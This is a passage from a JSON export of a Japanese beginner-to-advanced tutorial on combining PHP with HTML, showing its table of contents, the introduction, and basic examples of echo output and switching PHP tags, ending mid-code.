{"id":3667,"date":"2025-04-09T15:18:14","date_gmt":"2025-04-09T06:18:14","guid":{"rendered":"https:\/\/dexall.co.jp\/articles\/?p=3667"},"modified":"2025-04-09T15:18:16","modified_gmt":"2025-04-09T06:18:16","slug":"php%e3%81%a8html%e3%81%ae%e9%80%a3%e6%90%ba%e5%ae%8c%e5%85%a8%e3%82%ac%e3%82%a4%e3%83%89%ef%bc%9a%e5%88%9d%e5%bf%83%e8%80%85%e3%81%8b%e3%82%89%e4%b8%8a%e7%b4%9a%e8%80%85%e3%81%be%e3%81%a7%e4%bd%bf","status":"publish","type":"post","link":"https:\/\/dexall.co.jp\/articles\/?p=3667","title":{"rendered":"PHP\u3068HTML\u306e\u9023\u643a\u5b8c\u5168\u30ac\u30a4\u30c9\uff1a\u521d\u5fc3\u8005\u304b\u3089\u4e0a\u7d1a\u8005\u307e\u3067\u4f7f\u3048\u308b10\u306e\u5b9f\u8df5\u30c6\u30af\u30cb\u30c3\u30af"},"content":{"rendered":"\n<div class=\"toc\"><br \/>\n<b>Warning<\/b>:  Undefined array key \"is_admin\" in <b>\/home\/xs392991\/dexall.co.jp\/public_html\/articles\/wp-content\/themes\/sango-theme\/library\/gutenberg\/dist\/classes\/Toc.php<\/b> on line <b>116<\/b><br \/>\n<br \/>\n<b>Warning<\/b>:  Undefined array key \"is_category_top\" in <b>\/home\/xs392991\/dexall.co.jp\/public_html\/articles\/wp-content\/themes\/sango-theme\/library\/gutenberg\/dist\/classes\/Toc.php<\/b> on line <b>121<\/b><br \/>\n<br \/>\n<b>Warning<\/b>:  Undefined array key \"is_top\" in <b>\/home\/xs392991\/dexall.co.jp\/public_html\/articles\/wp-content\/themes\/sango-theme\/library\/gutenberg\/dist\/classes\/Toc.php<\/b> on line <b>128<\/b><br \/>\n    <div id=\"toc_container\" class=\"sgb-toc--bullets js-smooth-scroll\" data-dialog-title=\"\u76ee\u6b21\">\n      <p class=\"toc_title\">\u76ee\u6b21 <\/p>\n      <ul class=\"toc_list\">  <li class=\"first\">    <a href=\"#i-0\">\u30a4\u30f3\u30c8\u30ed\u30c0\u30af\u30b7\u30e7\u30f3<\/a>  <\/li>  <li>    <a href=\"#i-1\">PHP\u3068HTML\u306e\u57fa\u790e\u77e5\u8b58<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-2\">PHP\u3068HTML\u306e\u5f79\u5272\u3068\u9055\u3044<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-3\">PHP\u304cHTML\u3068\u9023\u643a\u3059\u308b\u4ed5\u7d44\u307f<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-4\">PHP\u3067HTML\u3092\u51fa\u529b\u3059\u308b\u57fa\u672c\u30c6\u30af\u30cb\u30c3\u30af<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-5\">PHP\u30bf\u30b0\u5185\u3067\u306eHTML\u51fa\u529b\u65b9\u6cd5<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-9\">PHP\u3068HTML\u306e\u8a18\u8ff0\u3092\u6df7\u5728\u3055\u305b\u308b\u65b9\u6cd5<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-13\">\u30d5\u30a9\u30fc\u30e0\u3068\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u51e6\u7406<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-14\">PHP\u3067HTML\u30d5\u30a9\u30fc\u30e0\u3092\u51e6\u7406\u3059\u308b\u65b9\u6cd5<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-18\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\uff1aXSS\u653b\u6483\u306e\u9632\u6b62<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-21\">\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3068\u306e\u9023\u643a<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-22\">MySQL\u304b\u3089\u306e\u30c7\u30fc\u30bf\u3092HTML\u3067\u8868\u793a\u3059\u308b\u65b9\u6cd5<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-27\">\u30c7\u30fc\u30bf\u306e\u7de8\u96c6\u30fb\u524a\u9664\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306e\u4f5c\u6210<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-31\">\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u6d3b\u7528<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-32\">PHP\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u6982\u8981\u3068\u5229\u70b9<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-41\">Twig\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u5b9f\u8df5\u7684\u306a\u4f7f\u3044\u65b9<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-44\">\u30a8\u30e9\u30fc\u51e6\u7406\u3068\u30c7\u30d0\u30c3\u30b0<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-45\">PHP\u30a8\u30e9\u30fc\u306e\u7a2e\u985e\u3068HTML\u3067\u306e\u8868\u793a\u65b9\u6cd5<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-49\">\u52b9\u7387\u7684\u306a\u30c7\u30d0\u30c3\u30b0\u30c6\u30af\u30cb\u30c3\u30af<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-51\">\u30ec\u30b9\u30dd\u30f3\u30b7\u30d6\u30c7\u30b6\u30a4\u30f3\u3068PHP<\/a>    <ul class=\"menu_level_1\">      <li class=\"first last\">        <a href=\"#i-52\">\u30e1\u30c7\u30a3\u30a2\u30af\u30a8\u30ea\u3068PHP\u306e\u9023\u643a<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-55\">\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u6700\u9069\u5316<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-56\">PHP\u3068HTML\u306e\u30ad\u30e3\u30c3\u30b7\u30e5\u6226\u7565<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-60\">\u30b3\u30fc\u30c9\u306e\u6700\u9069\u5316\u30c6\u30af\u30cb\u30c3\u30af<\/a>      <\/li>    <\/ul>  <\/li>  <li class=\"last\">    <a href=\"#i-65\">\u307e\u3068\u3081<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-66\">PHP\u3068HTML\u306e\u52b9\u679c\u7684\u306a\u9023\u643a\u306e\u30dd\u30a4\u30f3\u30c8<\/a>      <\/li>      <li>        <a href=\"#i-67\">\u5b66\u3093\u306010\u306e\u30c6\u30af\u30cb\u30c3\u30af\u306e\u5fa9\u7fd2<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-68\">\u3055\u3089\u306a\u308b\u5b66\u7fd2\u30ea\u30bd\u30fc\u30b9<\/a>      <\/li>    <\/ul>  <\/li><\/ul>\n      <a href=\"#\" class=\"sgb-toc-button js-toc-button\" rel=\"nofollow\" data-open-dialog=\"true\"><i class=\"fa fa-list\"><\/i><span class=\"sgb-toc-button__text\">\u76ee\u6b21\u3078<\/span><\/a>\n    <\/div><\/div><h2 class=\"wp-block-heading\" id=\"i-0\">\u30a4\u30f3\u30c8\u30ed\u30c0\u30af\u30b7\u30e7\u30f3<\/h2>\n\n\n\n<p>\u73fe\u4ee3\u306e\u30a6\u30a7\u30d6\u958b\u767a\u306b\u304a\u3044\u3066\u3001PHP\u3068HTML\u306f\u5207\u3063\u3066\u3082\u5207\u308c\u306a\u3044\u95a2\u4fc2\u306b\u3042\u308a\u307e\u3059\u3002HTML\u304c\u30a6\u30a7\u30d6\u30da\u30fc\u30b8\u306e\u69cb\u9020\u3068\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u5b9a\u7fa9\u3059\u308b\u300c\u9aa8\u7d44\u307f\u300d\u3067\u3042\u308b\u306e\u306b\u5bfe\u3057\u3001PHP\u306f\u305d\u306e\u9aa8\u7d44\u307f\u306b\u300c\u547d\u300d\u3092\u5439\u304d\u8fbc\u307f\u3001\u52d5\u7684\u306a\u30b3\u30f3\u30c6\u30f3\u30c4\u751f\u6210\u3092\u53ef\u80fd\u306b\u3059\u308b\u8a00\u8a9e\u3067\u3059\u3002\u3053\u306e\u5f37\u529b\u306a\u7d44\u307f\u5408\u308f\u305b\u306b\u3088\u308a\u3001\u30e6\u30fc\u30b6\u30fc\u3068\u30a4\u30f3\u30bf\u30e9\u30af\u30b7\u30e7\u30f3\u3067\u304d\u308b\u6d17\u7df4\u3055\u308c\u305f\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u958b\u767a\u304c\u5b9f\u73fe\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p>PHP\u3068HTML\u306e\u9023\u643a\u306f\u3001\u5358\u7d14\u306a\u30a6\u30a7\u30d6\u30da\u30fc\u30b8\u304b\u3089EC\u30b5\u30a4\u30c8\u3001SNS\u3001\u4f01\u696d\u306e\u696d\u52d9\u30b7\u30b9\u30c6\u30e0\u307e\u3067\u3001\u69d8\u3005\u306a\u30a6\u30a7\u30d6\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306e\u57fa\u790e\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002PHP\u306f\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u3067\u5b9f\u884c\u3055\u308c\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u306e\u60c5\u5831\u53d6\u5f97\u3084\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u51e6\u7406\u3092\u62c5\u5f53\u3057\u3001\u6700\u7d42\u7684\u306b\u306fHTML\u3068\u3057\u3066\u51fa\u529b\u3055\u308c\u3066\u30d6\u30e9\u30a6\u30b6\u306b\u8868\u793a\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u4ed5\u7d44\u307f\u3092\u7406\u89e3\u3057\u3001\u52b9\u7387\u7684\u306b\u6d3b\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u958b\u767a\u8005\u306f\u5927\u5e45\u306b\u751f\u7523\u6027\u3092\u5411\u4e0a\u3055\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u306e\u3067\u3059\u3002<\/p>\n\n\n\n<p>\u672c\u8a18\u4e8b\u3067\u306f\u3001PHP\u3068HTML\u3092\u52b9\u679c\u7684\u306b\u9023\u643a\u3055\u305b\u308b\u305f\u3081\u306e10\u306e\u5b9f\u8df5\u30c6\u30af\u30cb\u30c3\u30af\u3092\u7d39\u4ecb\u3057\u307e\u3059\u3002\u521d\u5fc3\u8005\u306e\u65b9\u306b\u306f\u57fa\u672c\u7684\u306a\u9023\u643a\u65b9\u6cd5\u304b\u3089\u89e3\u8aac\u3057\u3001\u4e2d\u7d1a\u8005\u3084\u4e0a\u7d1a\u8005\u306e\u65b9\u306b\u306f\u9ad8\u5ea6\u306a\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u6d3b\u7528\u6cd5\u3084\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u3001\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u6700\u9069\u5316\u307e\u3067\u5e45\u5e83\u304f\u30ab\u30d0\u30fc\u3057\u307e\u3059\u3002\u5177\u4f53\u7684\u306a\u30b3\u30fc\u30c9\u4f8b\u3084\u5b9f\u88c5\u65b9\u6cd5\u3092\u901a\u3057\u3066\u3001\u6bb5\u968e\u7684\u306b\u30b9\u30ad\u30eb\u3092\u5411\u4e0a\u3055\u305b\u3066\u3044\u304d\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<p>\u3053\u308c\u304b\u3089\u306e\u7ae0\u3067\u306f\u3001\u4ee5\u4e0b\u306e\u30c6\u30fc\u30de\u306b\u3064\u3044\u3066\u8a73\u3057\u304f\u89e3\u8aac\u3057\u3066\u3044\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>PHP\u3068HTML\u306e\u57fa\u672c\u7684\u306a\u5f79\u5272\u3068\u9023\u643a\u306e\u4ed5\u7d44\u307f<\/li>\n\n\n\n<li>\u52b9\u7387\u7684\u306aHTML\u51fa\u529b\u30c6\u30af\u30cb\u30c3\u30af<\/li>\n\n\n\n<li>\u30d5\u30a9\u30fc\u30e0\u51e6\u7406\u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56<\/li>\n\n\n\n<li>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u9023\u643a\u3068\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u69cb\u7bc9<\/li>\n\n\n\n<li>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u6d3b\u7528<\/li>\n\n\n\n<li>\u30a8\u30e9\u30fc\u51e6\u7406\u3068\u30c7\u30d0\u30c3\u30b0\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/li>\n\n\n\n<li>\u30ec\u30b9\u30dd\u30f3\u30b7\u30d6\u30c7\u30b6\u30a4\u30f3\u3078\u306e\u5bfe\u5fdc<\/li>\n\n\n\n<li>\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u6700\u9069\u5316\u306e\u65b9\u6cd5<\/li>\n<\/ul>\n\n\n\n<p>\u305d\u308c\u3067\u306f\u3001\u307e\u305a\u306fPHP\u3068HTML\u306e\u57fa\u790e\u77e5\u8b58\u304b\u3089\u78ba\u8a8d\u3057\u3066\u3044\u304d\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-1\">PHP\u3068HTML\u306e\u57fa\u790e\u77e5\u8b58<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-2\">PHP\u3068HTML\u306e\u5f79\u5272\u3068\u9055\u3044<\/h3>\n\n\n\n<p>\u30a6\u30a7\u30d6\u958b\u767a\u306e\u4e16\u754c\u3067\u306f\u3001PHP\u3068HTML\u306f\u305d\u308c\u305e\u308c\u91cd\u8981\u304b\u3064\u88dc\u5b8c\u7684\u306a\u5f79\u5272\u3092\u62c5\u3063\u3066\u3044\u307e\u3059\u3002\u4e21\u8005\u306e\u9055\u3044\u3092\u7406\u89e3\u3059\u308b\u3053\u3068\u306f\u3001\u52b9\u679c\u7684\u306a\u30a6\u30a7\u30d6\u958b\u767a\u306e\u7b2c\u4e00\u6b69\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>HTML\u306e\u5f79\u5272\uff1a\u69cb\u9020\u3068\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u5b9a\u7fa9<\/strong><\/p>\n\n\n\n<p>HTML\uff08HyperText Markup Language\uff09\u306f\u3001\u30a6\u30a7\u30d6\u30da\u30fc\u30b8\u306e\u300c\u898b\u305f\u76ee\u300d\u3068\u300c\u69cb\u9020\u300d\u3092\u5b9a\u7fa9\u3059\u308b\u305f\u3081\u306e\u30de\u30fc\u30af\u30a2\u30c3\u30d7\u8a00\u8a9e\u3067\u3059\u3002\u30bf\u30b0\u3092\u4f7f\u7528\u3057\u3066\u30c6\u30ad\u30b9\u30c8\u3001\u753b\u50cf\u3001\u30ea\u30f3\u30af\u306a\u3069\u306e\u8981\u7d20\u3092\u914d\u7f6e\u3057\u3001\u30d6\u30e9\u30a6\u30b6\u306b\u300c\u3053\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u3069\u3046\u8868\u793a\u3059\u308b\u304b\u300d\u3092\u6307\u793a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;\u30a6\u30a7\u30d6\u30da\u30fc\u30b8\u306e\u4f8b&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;h1&gt;\u3053\u3093\u306b\u3061\u306f\u3001\u4e16\u754c\uff01&lt;\/h1&gt;\n    &lt;p&gt;\u3053\u308c\u306f&lt;strong&gt;HTML\u306e\u4f8b&lt;\/strong&gt;\u3067\u3059\u3002&lt;\/p&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<p>HTML\u306f\u9759\u7684\u3067\u3042\u308a\u3001\u4e00\u5ea6\u66f8\u304b\u308c\u305f\u30b3\u30fc\u30c9\u306f\u5909\u66f4\u304c\u306a\u3044\u9650\u308a\u3044\u3064\u3082\u540c\u3058\u5185\u5bb9\u3092\u8868\u793a\u3057\u307e\u3059\u3002\u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u306b\u53cd\u5fdc\u3057\u305f\u308a\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u60c5\u5831\u3092\u53d6\u5f97\u3057\u305f\u308a\u3059\u308b\u80fd\u529b\u306f\u3042\u308a\u307e\u305b\u3093\u3002<\/p>\n\n\n\n<p><strong>PHP\u306e\u5f79\u5272\uff1a\u52d5\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u751f\u6210\u3068\u51e6\u7406<\/strong><\/p>\n\n\n\n<p>\u4e00\u65b9\u3001PHP\uff08PHP: Hypertext Preprocessor\uff09\u306f\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u3067\u5b9f\u884c\u3055\u308c\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u8a00\u8a9e\u3067\u3059\u3002PHP\u306e\u4e3b\u306a\u5f79\u5272\u306f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3068\u306e\u9023\u643a<\/li>\n\n\n\n<li>\u30d5\u30a9\u30fc\u30e0\u30c7\u30fc\u30bf\u306e\u51e6\u7406<\/li>\n\n\n\n<li>\u30e6\u30fc\u30b6\u30fc\u8a8d\u8a3c<\/li>\n\n\n\n<li>\u6761\u4ef6\u306b\u57fa\u3065\u3044\u305f\u52d5\u7684\u306a\u30b3\u30f3\u30c6\u30f3\u30c4\u751f\u6210<\/li>\n\n\n\n<li>\u30d5\u30a1\u30a4\u30eb\u64cd\u4f5c<\/li>\n\n\n\n<li>API\u3068\u306e\u9023\u643a<\/li>\n<\/ul>\n\n\n\n<p>PHP\u30b3\u30fc\u30c9\u306f\u30b5\u30fc\u30d0\u30fc\u4e0a\u3067\u5b9f\u884c\u3055\u308c\u3001\u5b9f\u884c\u7d50\u679c\u3068\u3057\u3066HTML\u304c\u751f\u6210\u3055\u308c\u307e\u3059\u3002\u30d6\u30e9\u30a6\u30b6\u306fPHP\u30b3\u30fc\u30c9\u81ea\u4f53\u3092\u898b\u308b\u3053\u3068\u306f\u306a\u304f\u3001PHP\u306b\u3088\u3063\u3066\u751f\u6210\u3055\u308c\u305fHTML\u306e\u307f\u3092\u53d7\u3051\u53d6\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u3053\u308c\u306fPHP\u306e\u30b3\u30fc\u30c9\u3067\u3059\n$name = \"\u592a\u90ce\";\n$time = date(\"H:i\");\n?&gt;\n\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;\u52d5\u7684\u306a\u30da\u30fc\u30b8&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;h1&gt;\u3053\u3093\u306b\u3061\u306f\u3001&lt;?php echo $name; ?&gt;\u3055\u3093\uff01&lt;\/h1&gt;\n    &lt;p&gt;\u73fe\u5728\u306e\u6642\u523b\u306f&lt;?php echo $time; ?&gt;\u3067\u3059\u3002&lt;\/p&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<p>\u3053\u306e\u30b3\u30fc\u30c9\u304c\u5b9f\u884c\u3055\u308c\u308b\u3068\u3001\u5909\u6570 <code>$name<\/code> \u3068\u73fe\u5728\u6642\u523b\u3092\u793a\u3059 <code>$time<\/code> \u304cHTML\u306b\u57cb\u3081\u8fbc\u307e\u308c\u3001\u52d5\u7684\u306a\u30da\u30fc\u30b8\u304c\u751f\u6210\u3055\u308c\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u4e21\u8005\u304c\u3069\u306e\u3088\u3046\u306b\u9023\u643a\u3057\u3066\u52d5\u4f5c\u3059\u308b\u304b<\/strong><\/p>\n\n\n\n<p>PHP\u3068HTML\u306e\u9023\u643a\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u6d41\u308c\u3067\u884c\u308f\u308c\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u30e6\u30fc\u30b6\u30fc\u304c\u30d6\u30e9\u30a6\u30b6\u3067URL\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b<\/li>\n\n\n\n<li>\u30a6\u30a7\u30d6\u30b5\u30fc\u30d0\u30fc\u304c\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u53d7\u3051\u53d6\u308a\u3001\u62e1\u5f35\u5b50\u304c.php\u306e\u30d5\u30a1\u30a4\u30eb\u3067\u3042\u308c\u3070PHP\u30a4\u30f3\u30bf\u30fc\u30d7\u30ea\u30bf\u30fc\u306b\u51e6\u7406\u3092\u4f9d\u983c\u3059\u308b<\/li>\n\n\n\n<li>PHP\u30a4\u30f3\u30bf\u30fc\u30d7\u30ea\u30bf\u30fc\u304c\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3057\u3001\u5fc5\u8981\u306b\u5fdc\u3058\u3066\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u30a2\u30af\u30bb\u30b9\u3057\u305f\u308a\u3001\u8a08\u7b97\u3092\u884c\u3063\u305f\u308a\u3059\u308b<\/li>\n\n\n\n<li>\u5b9f\u884c\u7d50\u679c\u3068\u3057\u3066HTML\u30b3\u30fc\u30c9\u304c\u751f\u6210\u3055\u308c\u308b<\/li>\n\n\n\n<li>\u751f\u6210\u3055\u308c\u305fHTML\u30b3\u30fc\u30c9\u304c\u30d6\u30e9\u30a6\u30b6\u306b\u9001\u4fe1\u3055\u308c\u308b<\/li>\n\n\n\n<li>\u30d6\u30e9\u30a6\u30b6\u304cHTML\u3092\u89e3\u91c8\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u306b\u8868\u793a\u3059\u308b<\/li>\n<\/ol>\n\n\n\n<p>\u3053\u306e\u9023\u643a\u306b\u3088\u308a\u3001\u52d5\u7684\u304b\u3064\u30a4\u30f3\u30bf\u30e9\u30af\u30c6\u30a3\u30d6\u306a\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u958b\u767a\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002PHP\u304c\u30d0\u30c3\u30af\u30a8\u30f3\u30c9\u3067\u306e\u30c7\u30fc\u30bf\u51e6\u7406\u3092\u62c5\u5f53\u3057\u3001HTML\u304c\u30d5\u30ed\u30f3\u30c8\u30a8\u30f3\u30c9\u3067\u306e\u8868\u793a\u3092\u62c5\u5f53\u3059\u308b\u3068\u3044\u3046\u660e\u78ba\u306a\u5f79\u5272\u5206\u62c5\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-3\">PHP\u304cHTML\u3068\u9023\u643a\u3059\u308b\u4ed5\u7d44\u307f<\/h3>\n\n\n\n<p><strong>PHP\u306e\u51e6\u7406\u30d5\u30ed\u30fc\uff08\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u3067\u306e\u5b9f\u884c\uff09<\/strong><\/p>\n\n\n\n<p>PHP\u30b3\u30fc\u30c9\u304cHTML\u3068\u9023\u643a\u3057\u3066\u52d5\u4f5c\u3059\u308b\u8a73\u7d30\u306a\u30d5\u30ed\u30fc\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30ea\u30af\u30a8\u30b9\u30c8\u53d7\u4ed8<\/strong>: \u30e6\u30fc\u30b6\u30fc\u304c.php\u30d5\u30a1\u30a4\u30eb\u3092\u30ea\u30af\u30a8\u30b9\u30c8\u3059\u308b<\/li>\n\n\n\n<li><strong>\u30d5\u30a1\u30a4\u30eb\u8aad\u307f\u8fbc\u307f<\/strong>: \u30a6\u30a7\u30d6\u30b5\u30fc\u30d0\u30fc\u304c\u8a72\u5f53\u3059\u308bPHP\u30d5\u30a1\u30a4\u30eb\u3092\u30c7\u30a3\u30b9\u30af\u304b\u3089\u8aad\u307f\u8fbc\u3080<\/li>\n\n\n\n<li><strong>PHP\u30b3\u30fc\u30c9\u51e6\u7406<\/strong>: PHP\u30a4\u30f3\u30bf\u30fc\u30d7\u30ea\u30bf\u30fc\u304c\u30d5\u30a1\u30a4\u30eb\u5185\u306ePHP\u30b3\u30fc\u30c9\uff08<code>&lt;?php ... ?&gt;<\/code>\u3067\u56f2\u307e\u308c\u305f\u90e8\u5206\uff09\u3092\u51e6\u7406\u3059\u308b<\/li>\n\n\n\n<li><strong>HTML\u751f\u6210<\/strong>: PHP\u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u7d50\u679c\u304c\u51fa\u529b\u3055\u308c\u3001\u6b8b\u308a\u306eHTML\u3068\u7d44\u307f\u5408\u308f\u3055\u308c\u308b<\/li>\n\n\n\n<li><strong>\u30ec\u30b9\u30dd\u30f3\u30b9\u9001\u4fe1<\/strong>: \u751f\u6210\u3055\u308c\u305fHTML\u304c\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306b\u9001\u4fe1\u3055\u308c\u308b<\/li>\n<\/ol>\n\n\n\n<p>\u3053\u306e\u5168\u30d7\u30ed\u30bb\u30b9\u306f\u30b5\u30fc\u30d0\u30fc\u5074\u3067\u5b8c\u4e86\u3059\u308b\u305f\u3081\u3001\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\uff08\u30d6\u30e9\u30a6\u30b6\uff09\u5074\u3067\u306fPHP\u30b3\u30fc\u30c9\u306e\u5b58\u5728\u3092\u77e5\u308b\u3053\u3068\u306f\u3042\u308a\u307e\u305b\u3093\u3002<\/p>\n\n\n\n<p><strong>HTML\u3078\u306e\u51fa\u529b\u65b9\u6cd5<\/strong><\/p>\n\n\n\n<p>PHP\u304b\u3089HTML\u3092\u51fa\u529b\u3059\u308b\u65b9\u6cd5\u306f\u4e3b\u306b\u4ee5\u4e0b\u306e3\u3064\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>echo\/print\u6587\u3092\u4f7f\u7528\u3059\u308b<\/strong>: \u6700\u3082\u4e00\u822c\u7684\u306a\u65b9\u6cd5\u3067\u3001\u6587\u5b57\u5217\u3084\u5909\u6570\u3092HTML\u3068\u3057\u3066\u51fa\u529b\u3057\u307e\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\necho \"&lt;p&gt;\u3053\u308c\u306fPHP\u304b\u3089\u306e\u51fa\u529b\u3067\u3059\u3002&lt;\/p&gt;\";\n$value = 42;\necho \"&lt;p&gt;\u5909\u6570\u306e\u5024: \" . $value . \"&lt;\/p&gt;\";\n?&gt;\n<\/pre>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>PHP\u30bf\u30b0\u3092\u4e00\u6642\u7684\u306b\u9589\u3058\u308b<\/strong>: HTML\u3092\u76f4\u63a5\u66f8\u304f\u305f\u3081\u306bPHP\u30bf\u30b0\u3092\u9589\u3058\u308b\u65b9\u6cd5\u3067\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n$title = \"\u30de\u30a4\u30da\u30fc\u30b8\";\n?&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;&lt;?php echo $title; ?&gt;&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;?php if ($logged_in): ?&gt;\n        